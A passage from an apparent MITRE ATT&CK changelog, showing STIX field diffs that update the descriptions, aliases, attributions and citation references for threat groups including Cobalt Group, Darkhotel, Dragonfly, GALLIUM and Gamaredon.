| description | [Cobalt Group](https://attack.mitre.org/groups/G0080) is a financially motivated threat group that has primarily targeted financial institutions. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. [Cobalt Group](https://attack.mitre.org/groups/G0080) has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims. (Citation: Talos Cobalt Group July 2018) (Citation: PTSecurity Cobalt Group Aug 2017) (Citation: PTSecurity Cobalt Dec 2016) (Citation: Group IB Cobalt Aug 2017) (Citation: Proofpoint Cobalt June 2017) (Citation: RiskIQ Cobalt Nov 2017) (Citation: RiskIQ Cobalt Jan 2018) Reporting indicates there may be links between [Cobalt Group](https://attack.mitre.org/groups/G0080) and both the malware [Carbanak](https://attack.mitre.org/software/S0030) and the group [Carbanak](https://attack.mitre.org/groups/G0008). (Citation: Europol Cobalt Mar 2018) | [Cobalt Group](https://attack.mitre.org/groups/G0080) is a financially motivated threat group that has primarily targeted financial institutions since at least 2016. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. [Cobalt Group](https://attack.mitre.org/groups/G0080) has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)(Citation: Proofpoint Cobalt June 2017)(Citation: RiskIQ Cobalt Nov 2017)(Citation: RiskIQ Cobalt Jan 2018) Reporting indicates there may be links between [Cobalt Group](https://attack.mitre.org/groups/G0080) and both the malware [Carbanak](https://attack.mitre.org/software/S0030) and the group [Carbanak](https://attack.mitre.org/groups/G0008).(Citation: Europol Cobalt Mar 2018) |
| external_references[2]['source_name'] | Cobalt Gang | GOLD KINGSWOOD |
| external_references[2]['description'] | (Citation: Talos Cobalt Group July 2018) (Citation: Crowdstrike Global Threat Report Feb 2018)(Citation: Morphisec Cobalt Gang Oct 2018) | (Citation: Secureworks GOLD KINGSWOOD September 2018) |
| external_references[3]['source_name'] | Cobalt Spider | Cobalt Gang |
| external_references[3]['description'] | (Citation: Crowdstrike Global Threat Report Feb 2018) | (Citation: Talos Cobalt Group July 2018) (Citation: Crowdstrike Global Threat Report Feb 2018)(Citation: Morphisec Cobalt Gang Oct 2018) |
| external_references[4]['source_name'] | Talos Cobalt Group July 2018 | Cobalt Spider |
| external_references[4]['description'] | Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018. | (Citation: Crowdstrike Global Threat Report Feb 2018) |
| external_references[5]['source_name'] | PTSecurity Cobalt Group Aug 2017 | Talos Cobalt Group July 2018 |
| external_references[5]['description'] | Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018. | Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018. |
| external_references[5]['url'] | https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf | https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html |
| external_references[6]['source_name'] | PTSecurity Cobalt Dec 2016 | PTSecurity Cobalt Group Aug 2017 |
| external_references[6]['description'] | Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018. | Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018. |
| external_references[6]['url'] | https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf | https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf |
| external_references[7]['source_name'] | Group IB Cobalt Aug 2017 | PTSecurity Cobalt Dec 2016 |
| external_references[7]['description'] | Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018. | Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018. |
| external_references[7]['url'] | https://www.group-ib.com/blog/cobalt | https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf |
| external_references[8]['source_name'] | Proofpoint Cobalt June 2017 | Group IB Cobalt Aug 2017 |
| external_references[8]['description'] | Mesa, M, et al. (2017, June 1). Microsoft Word Intruder Integrates CVE-2017-0199, Utilized by Cobalt Group to Target Financial Institutions. Retrieved October 10, 2018. | Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018. |
| external_references[8]['url'] | https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target | https://www.group-ib.com/blog/cobalt |
| external_references[9]['source_name'] | RiskIQ Cobalt Nov 2017 | Proofpoint Cobalt June 2017 |
| external_references[9]['description'] | Klijnsma, Y.. (2017, November 28). Gaffe Reveals Full List of Targets in Spear Phishing Attack Using Cobalt Strike Against Financial Institutions. Retrieved October 10, 2018. | Mesa, M, et al. (2017, June 1). Microsoft Word Intruder Integrates CVE-2017-0199, Utilized by Cobalt Group to Target Financial Institutions. Retrieved October 10, 2018. |
| external_references[9]['url'] | https://www.riskiq.com/blog/labs/cobalt-strike/ | https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target |
| external_references[10]['source_name'] | RiskIQ Cobalt Jan 2018 | RiskIQ Cobalt Nov 2017 |
| external_references[10]['description'] | Klijnsma, Y.. (2018, January 16). First Activities of Cobalt Group in 2018: Spear Phishing Russian Banks. Retrieved October 10, 2018. | Klijnsma, Y.. (2017, November 28). Gaffe Reveals Full List of Targets in Spear Phishing Attack Using Cobalt Strike Against Financial Institutions. Retrieved October 10, 2018. |
| external_references[10]['url'] | https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/ | https://www.riskiq.com/blog/labs/cobalt-strike/ |
| external_references[11]['source_name'] | Europol Cobalt Mar 2018 | RiskIQ Cobalt Jan 2018 |
| external_references[11]['description'] | Europol. (2018, March 26). Mastermind Behind EUR 1 Billion Cyber Bank Robbery Arrested in Spain. Retrieved October 10, 2018. | Klijnsma, Y.. (2018, January 16). First Activities of Cobalt Group in 2018: Spear Phishing Russian Banks. Retrieved October 10, 2018. |
| external_references[11]['url'] | https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain | https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/ |
| external_references[12]['source_name'] | Crowdstrike Global Threat Report Feb 2018 | Europol Cobalt Mar 2018 |
| external_references[12]['description'] | CrowdStrike. (2018, February 26). CrowdStrike 2018 Global Threat Report. Retrieved October 10, 2018. | Europol. (2018, March 26). Mastermind Behind EUR 1 Billion Cyber Bank Robbery Arrested in Spain. Retrieved October 10, 2018. |
| external_references[12]['url'] | https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report | https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain |
| external_references[13]['source_name'] | Morphisec Cobalt Gang Oct 2018 | Secureworks GOLD KINGSWOOD September 2018 |
| external_references[13]['description'] | Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018. | CTU. (2018, September 27). Cybercriminals Increasingly Trying to Ensnare the Big Financial Fish. Retrieved September 20, 2021. |
| external_references[13]['url'] | https://blog.morphisec.com/cobalt-gang-2.0 | https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish |
| x_mitre_version | 1.2 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | GOLD KINGSWOOD | |
| external_references | {'source_name': 'Crowdstrike Global Threat Report Feb 2018', 'description': 'CrowdStrike. (2018, February 26). CrowdStrike 2018 Global Threat Report. Retrieved October 10, 2018.', 'url': 'https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report'} | |
| external_references | {'source_name': 'Morphisec Cobalt Gang Oct 2018', 'description': 'Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.', 'url': 'https://blog.morphisec.com/cobalt-gang-2.0'} |
Current version: 2.0
Version changed from: 1.2 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Darkhotel](https://attack.mitre.org/groups/G0012) is a thre | t | 1 | [Darkhotel](https://attack.mitre.org/groups/G0012) is a susp |
| > | at group that has been active since at least 2004. The group | > | ected South Korean threat group that has targeted victims pr | ||
| > | has conducted activity on hotel and business center Wi‑Fi a | > | imarily in East Asia since at least 2004. The group's name i | ||
| > | nd physical connections as well as peer-to-peer and file sha | > | s based on cyber espionage operations conducted via hotel In | ||
| > | ring networks. The actors have also conducted spearphishing. | > | ternet networks against traveling executives and other selec | ||
| > | (Citation: Kaspersky Darkhotel) | > | t guests. [Darkhotel](https://attack.mitre.org/groups/G0012) | ||
| > | has also conducted spearphishing campaigns and infected vic | ||||
| > | tims through peer-to-peer and file sharing networks.(Citatio | ||||
| > | n: Kaspersky Darkhotel)(Citation: Securelist Darkhotel Aug 2 | ||||
| > | 015)(Citation: Microsoft Digital Defense FY20 Sept 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Harry, CODEMIZE'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:56:21.706000+00:00 | 2021-04-22 17:37:58.136000+00:00 |
| description | [Darkhotel](https://attack.mitre.org/groups/G0012) is a threat group that has been active since at least 2004. The group has conducted activity on hotel and business center Wi‑Fi and physical connections as well as peer-to-peer and file sharing networks. The actors have also conducted spearphishing. (Citation: Kaspersky Darkhotel) | [Darkhotel](https://attack.mitre.org/groups/G0012) is a suspected South Korean threat group that has targeted victims primarily in East Asia since at least 2004. The group's name is based on cyber espionage operations conducted via hotel Internet networks against traveling executives and other select guests. [Darkhotel](https://attack.mitre.org/groups/G0012) has also conducted spearphishing campaigns and infected victims through peer-to-peer and file sharing networks.(Citation: Kaspersky Darkhotel)(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft Digital Defense FY20 Sept 2020) |
| external_references[2]['source_name'] | Kaspersky Darkhotel | DUBNIUM |
| external_references[2]['description'] | Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014. | (Citation: Microsoft Digital Defense FY20 Sept 2020)(Citation: Microsoft DUBNIUM June 2016)(Citation: Microsoft DUBNIUM Flash June 2016)(Citation: Microsoft DUBNIUM July 2016) |
| x_mitre_version | 1.2 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | DUBNIUM | |
| external_references | {'source_name': 'Kaspersky Darkhotel', 'description': "Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.", 'url': 'https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf'} | |
| external_references | {'source_name': 'Securelist Darkhotel Aug 2015', 'description': "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", 'url': 'https://securelist.com/darkhotels-attacks-in-2015/71713/'} | |
| external_references | {'source_name': 'Microsoft Digital Defense FY20 Sept 2020', 'description': 'Microsoft . (2020, September 29). Microsoft Digital Defense Report FY20. Retrieved April 21, 2021.', 'url': 'https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWxPuf'} | |
| external_references | {'source_name': 'Microsoft DUBNIUM June 2016', 'description': 'Microsoft. (2016, June 9). Reverse-engineering DUBNIUM. Retrieved March 31, 2021.', 'url': 'https://www.microsoft.com/security/blog/2016/06/09/reverse-engineering-dubnium-2/'} | |
| external_references | {'source_name': 'Microsoft DUBNIUM Flash June 2016', 'description': 'Microsoft. (2016, June 20). Reverse-engineering DUBNIUM’s Flash-targeting exploit. Retrieved March 31, 2021.', 'url': 'https://www.microsoft.com/security/blog/2016/06/20/reverse-engineering-dubniums-flash-targeting-exploit/'} | |
| external_references | {'source_name': 'Microsoft DUBNIUM July 2016', 'description': 'Microsoft. (2016, July 14). Reverse engineering DUBNIUM – Stage 2 payload analysis . Retrieved March 31, 2021.', 'url': 'https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/'} |
Current version: 3.0
Version changed from: 2.0 → 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Dragonfly](https://attack.mitre.org/groups/G0035) Dragonfly | t | 1 | [Dragonfly](https://attack.mitre.org/groups/G0035) is a cybe |
| > | is a cyber espionage group that has been active since at le | > | r espionage group that has been attributed to Russia's Feder | ||
| > | ast 2011. They initially targeted defense and aviation compa | > | al Security Service (FSB) Center 16.(Citation: DOJ Russia Ta | ||
| > | nies but shifted to focus on the energy sector in early 2013 | > | rgeting Critical Infrastructure March 2022)(Citation: UK GOV | ||
| > | . They have also targeted companies related to industrial co | > | FSB Factsheet April 2022) Active since at least 2010, [Drag | ||
| > | ntrol systems. (Citation: Symantec Dragonfly)(Citation: Secu | > | onfly](https://attack.mitre.org/groups/G0035) has targeted d | ||
| > | reworks IRON LIBERTY July 2019) A similar group emerged in | > | efense and aviation companies, government entities, companie | ||
| > | 2015 and was identified by Symantec as [Dragonfly 2.0](https | > | s related to industrial control systems, and critical infras | ||
| > | ://attack.mitre.org/groups/G0074). There is debate over the | > | tructure sectors worldwide through supply chain, spearphishi | ||
| > | extent of the overlap between [Dragonfly](https://attack.mit | > | ng, and drive-by compromise attacks.(Citation: Symantec Drag | ||
| > | re.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitr | > | onfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citatio | ||
| > | e.org/groups/G0074), but there is sufficient evidence to lea | > | n: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly | ||
| > | d to these being tracked as two separate groups. (Citation: | > | 2.0 Sept 2017)(Citation: Gigamon Berserk Bear October 2021) | ||
| > | Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2. | > | (Citation: CISA AA20-296A Berserk Bear December 2020)(Citati | ||
| > | 0 Sept 2017)(Citation: Dragos DYMALLOY ) | > | on: Symantec Dragonfly 2.0 October 2017) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Dragos Threat Intelligence'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf | |
| external_references | https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector | |
| external_references | https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-14 22:42:00.531000+00:00 | 2022-05-24 19:21:16.242000+00:00 |
| description | [Dragonfly](https://attack.mitre.org/groups/G0035) Dragonfly is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems. (Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019) A similar group emerged in 2015 and was identified by Symantec as [Dragonfly 2.0](https://attack.mitre.org/groups/G0074). There is debate over the extent of the overlap between [Dragonfly](https://attack.mitre.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre.org/groups/G0074), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY ) | [Dragonfly](https://attack.mitre.org/groups/G0035) is a cyber espionage group that has been attributed to Russia's Federal Security Service (FSB) Center 16.(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022) Active since at least 2010, [Dragonfly](https://attack.mitre.org/groups/G0035) has targeted defense and aviation companies, government entities, companies related to industrial control systems, and critical infrastructure sectors worldwide through supply chain, spearphishing, and drive-by compromise attacks.(Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Gigamon Berserk Bear October 2021)(Citation: CISA AA20-296A Berserk Bear December 2020)(Citation: Symantec Dragonfly 2.0 October 2017) |
| external_references[1]['source_name'] | Dragonfly | DYMALLOY |
| external_references[1]['description'] | (Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019) | (Citation: Dragos DYMALLOY )(Citation: UK GOV FSB Factsheet April 2022) |
| external_references[2]['source_name'] | TG-4192 | Berserk Bear |
| external_references[2]['description'] | (Citation: Secureworks IRON LIBERTY July 2019) | (Citation: Gigamon Berserk Bear October 2021)(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022) |
| external_references[3]['source_name'] | Crouching Yeti | TEMP.Isotope |
| external_references[3]['description'] | (Citation: Secureworks IRON LIBERTY July 2019) | (Citation: Mandiant Ukraine Cyber Threats January 2022)(Citation: Gigamon Berserk Bear October 2021) |
| external_references[4]['source_name'] | IRON LIBERTY | Crouching Yeti |
| external_references[4]['description'] | (Citation: Secureworks IRON LIBERTY July 2019)(Citation: Secureworks MCMD July 2019)(Citation: Secureworks Karagany July 2019) | (Citation: Secureworks IRON LIBERTY July 2019)(Citation: Gigamon Berserk Bear October 2021)(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022) |
| external_references[5]['source_name'] | Energetic Bear | IRON LIBERTY |
| external_references[5]['description'] | (Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Secureworks MCMD July 2019)(Citation: Secureworks Karagany July 2019) | (Citation: Secureworks IRON LIBERTY July 2019)(Citation: Secureworks MCMD July 2019)(Citation: Secureworks Karagany July 2019)(Citation: UK GOV FSB Factsheet April 2022) |
| external_references[6]['source_name'] | Symantec Dragonfly | TG-4192 |
| external_references[6]['description'] | Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016. | (Citation: Secureworks IRON LIBERTY July 2019)(Citation: UK GOV FSB Factsheet April 2022) |
| external_references[7]['source_name'] | Secureworks IRON LIBERTY July 2019 | Dragonfly |
| external_references[7]['description'] | Secureworks. (2019, July 24). Resurgent Iron Liberty Targeting Energy Sector. Retrieved August 12, 2020. | (Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Gigamon Berserk Bear October 2021)(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022) |
| external_references[8]['source_name'] | Symantec Dragonfly Sept 2017 | Energetic Bear |
| external_references[8]['description'] | Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017. | (Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Secureworks MCMD July 2019)(Citation: Secureworks Karagany July 2019)(Citation: Gigamon Berserk Bear October 2021)(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022) |
| external_references[9]['source_name'] | Fortune Dragonfly 2.0 Sept 2017 | CISA AA20-296A Berserk Bear December 2020 |
| external_references[9]['description'] | Hackett, R. (2017, September 6). Hackers Have Penetrated Energy Grid, Symantec Warns. Retrieved June 6, 2018. | CISA. (2020, December 1). Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets. Retrieved December 9, 2021. |
| external_references[9]['url'] | http://fortune.com/2017/09/06/hack-energy-grid-symantec/ | https://www.cisa.gov/uscert/ncas/alerts/aa20-296a#revisions |
| external_references[10]['source_name'] | Dragos DYMALLOY | DOJ Russia Targeting Critical Infrastructure March 2022 |
| external_references[10]['description'] | Dragos. (n.d.). DYMALLOY. Retrieved August 20, 2020. | Department of Justice. (2022, March 24). Four Russian Government Employees Charged in Two Historical Hacking Campaigns Targeting Critical Infrastructure Worldwide. Retrieved April 5, 2022. |
| external_references[10]['url'] | https://www.dragos.com/threat/dymalloy/ | https://www.justice.gov/opa/pr/four-russian-government-employees-charged-two-historical-hacking-campaigns-targeting-critical |
| external_references[11]['source_name'] | Secureworks MCMD July 2019 | Dragos DYMALLOY |
| external_references[11]['description'] | Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020. | Dragos. (n.d.). DYMALLOY. Retrieved August 20, 2020. |
| external_references[11]['url'] | https://www.secureworks.com/research/mcmd-malware-analysis | https://www.dragos.com/threat/dymalloy/ |
| external_references[12]['source_name'] | Secureworks Karagany July 2019 | Fortune Dragonfly 2.0 Sept 2017 |
| external_references[12]['description'] | Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020. | Hackett, R. (2017, September 6). Hackers Have Penetrated Energy Grid, Symantec Warns. Retrieved June 6, 2018. |
| external_references[12]['url'] | https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector | http://fortune.com/2017/09/06/hack-energy-grid-symantec/ |
| x_mitre_version | 2.0 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | TEMP.Isotope | |
| aliases | DYMALLOY | |
| aliases | Berserk Bear | |
| external_references | {'source_name': 'Mandiant Ukraine Cyber Threats January 2022', 'description': 'Hultquist, J. (2022, January 20). Anticipating Cyber Threats as the Ukraine Crisis Escalates. Retrieved January 24, 2022.', 'url': 'https://www.mandiant.com/resources/ukraine-crisis-cyber-threats'} | |
| external_references | {'source_name': 'Secureworks MCMD July 2019', 'description': 'Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020.', 'url': 'https://www.secureworks.com/research/mcmd-malware-analysis'} | |
| external_references | {'source_name': 'Secureworks IRON LIBERTY July 2019', 'description': 'Secureworks. (2019, July 24). Resurgent Iron Liberty Targeting Energy Sector. Retrieved August 12, 2020.', 'url': 'https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector'} | |
| external_references | {'source_name': 'Secureworks Karagany July 2019', 'description': 'Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020.', 'url': 'https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector'} | |
| external_references | {'source_name': 'Gigamon Berserk Bear October 2021', 'description': 'Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021.', 'url': 'https://vblocalhost.com/uploads/VB2021-Slowik.pdf'} | |
| external_references | {'source_name': 'Symantec Dragonfly Sept 2017', 'description': 'Symantec Security Response. (2014, July 7). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.', 'url': 'https://docs.broadcom.com/doc/dragonfly_threat_against_western_energy_suppliers'} | |
| external_references | {'source_name': 'Symantec Dragonfly', 'description': 'Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.', 'url': 'https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments'} | |
| external_references | {'source_name': 'Symantec Dragonfly 2.0 October 2017', 'description': 'Symantec. (2017, October 7). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved April 19, 2022.', 'url': 'https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks'} | |
| external_references | {'source_name': 'UK GOV FSB Factsheet April 2022', 'description': "UK Gov. (2022, April 5). Russia's FSB malign activity: factsheet. Retrieved April 5, 2022.", 'url': 'https://www.gov.uk/government/publications/russias-fsb-malign-cyber-activity-factsheet/russias-fsb-malign-activity-factsheet'} |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Operation [Soft Cell](https://attack.mitre.org/groups/G0093) | t | 1 | [GALLIUM](https://attack.mitre.org/groups/G0093) is a group |
| > | is a group that is reportedly affiliated with China and is | > | that has been active since at least 2012, primarily targetin | ||
| > | likely state-sponsored. The group has operated since at leas | > | g high-profile telecommunications networks. [GALLIUM](https: | ||
| > | t 2012 and has compromised high-profile telecommunications n | > | //attack.mitre.org/groups/G0093) has been identified in some | ||
| > | etworks.(Citation: Cybereason Soft Cell June 2019) | > | reporting as likely a Chinese state-sponsored group, based | ||
| > | in part on tools used and TTPs commonly associated with Chin | ||||
| > | ese threat actors.(Citation: Cybereason Soft Cell June 2019) | ||||
| > | (Citation: Microsoft GALLIUM December 2019) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 02:45:28.994000+00:00 | 2021-04-23 01:32:21.874000+00:00 |
| name | Soft Cell | GALLIUM |
| description | Operation [Soft Cell](https://attack.mitre.org/groups/G0093) is a group that is reportedly affiliated with China and is likely state-sponsored. The group has operated since at least 2012 and has compromised high-profile telecommunications networks.(Citation: Cybereason Soft Cell June 2019) | [GALLIUM](https://attack.mitre.org/groups/G0093) is a group that has been active since at least 2012, primarily targeting high-profile telecommunications networks. [GALLIUM](https://attack.mitre.org/groups/G0093) has been identified in some reporting as likely a Chinese state-sponsored group, based in part on tools used and TTPs commonly associated with Chinese threat actors.(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019) |
| aliases[0] | Soft Cell | GALLIUM |
| external_references[1]['source_name'] | Soft Cell | GALLIUM |
| external_references[1]['description'] | (Citation: Cybereason Soft Cell June 2019) | (Citation: Microsoft GALLIUM December 2019) |
| external_references[2]['source_name'] | Cybereason Soft Cell June 2019 | Operation Soft Cell |
| external_references[2]['description'] | Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019. | (Citation: Cybereason Soft Cell June 2019) |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | Operation Soft Cell | |
| external_references | {'source_name': 'Cybereason Soft Cell June 2019', 'description': 'Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.', 'url': 'https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers'} | |
| external_references | {'source_name': 'Microsoft GALLIUM December 2019', 'description': 'MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021.', 'url': 'https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/'} | |
| x_mitre_contributors | Daniyal Naeem, BT Security |
Current version: 2.0
Version changed from: 1.2 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Gamaredon Group](https://attack.mitre.org/groups/G0047) is | t | 1 | [Gamaredon Group](https://attack.mitre.org/groups/G0047) is |
| > | a threat group that has been active since at least 2013 and | > | a suspected Russian cyber espionage threat group that has ta | ||
| > | has targeted individuals likely involved in the Ukrainian go | > | rgeted military, NGO, judiciary, law enforcement, and non-pr | ||
| > | vernment. The name [Gamaredon Group](https://attack.mitre.or | > | ofit organizations in Ukraine since at least 2013. The name | ||
| > | g/groups/G0047) comes from a misspelling of the word "Armage | > | [Gamaredon Group](https://attack.mitre.org/groups/G0047) com | ||
| > | ddon", which was detected in the adversary's early campaigns | > | es from a misspelling of the word "Armageddon", which was de | ||
| > | .(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMic | > | tected in the adversary's early campaigns.(Citation: Palo Al | ||
| > | ro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020) | > | to Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April | ||
| > | 2020)(Citation: ESET Gamaredon June 2020)(Citation: Symantec | ||||
| > | Shuckworm January 2022)(Citation: Microsoft Actinium Februa | ||||
| > | ry 2022) In November 2021, the Ukrainian government publicl | ||||
| > | y attributed [Gamaredon Group](https://attack.mitre.org/grou | ||||
| > | ps/G0047) to Russia's Federal Security Service (FSB) Center | ||||
| > | 18.(Citation: Bleepingcomputer Gamardeon FSB November 2021)( | ||||
| > | Citation: Microsoft Actinium February 2022) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
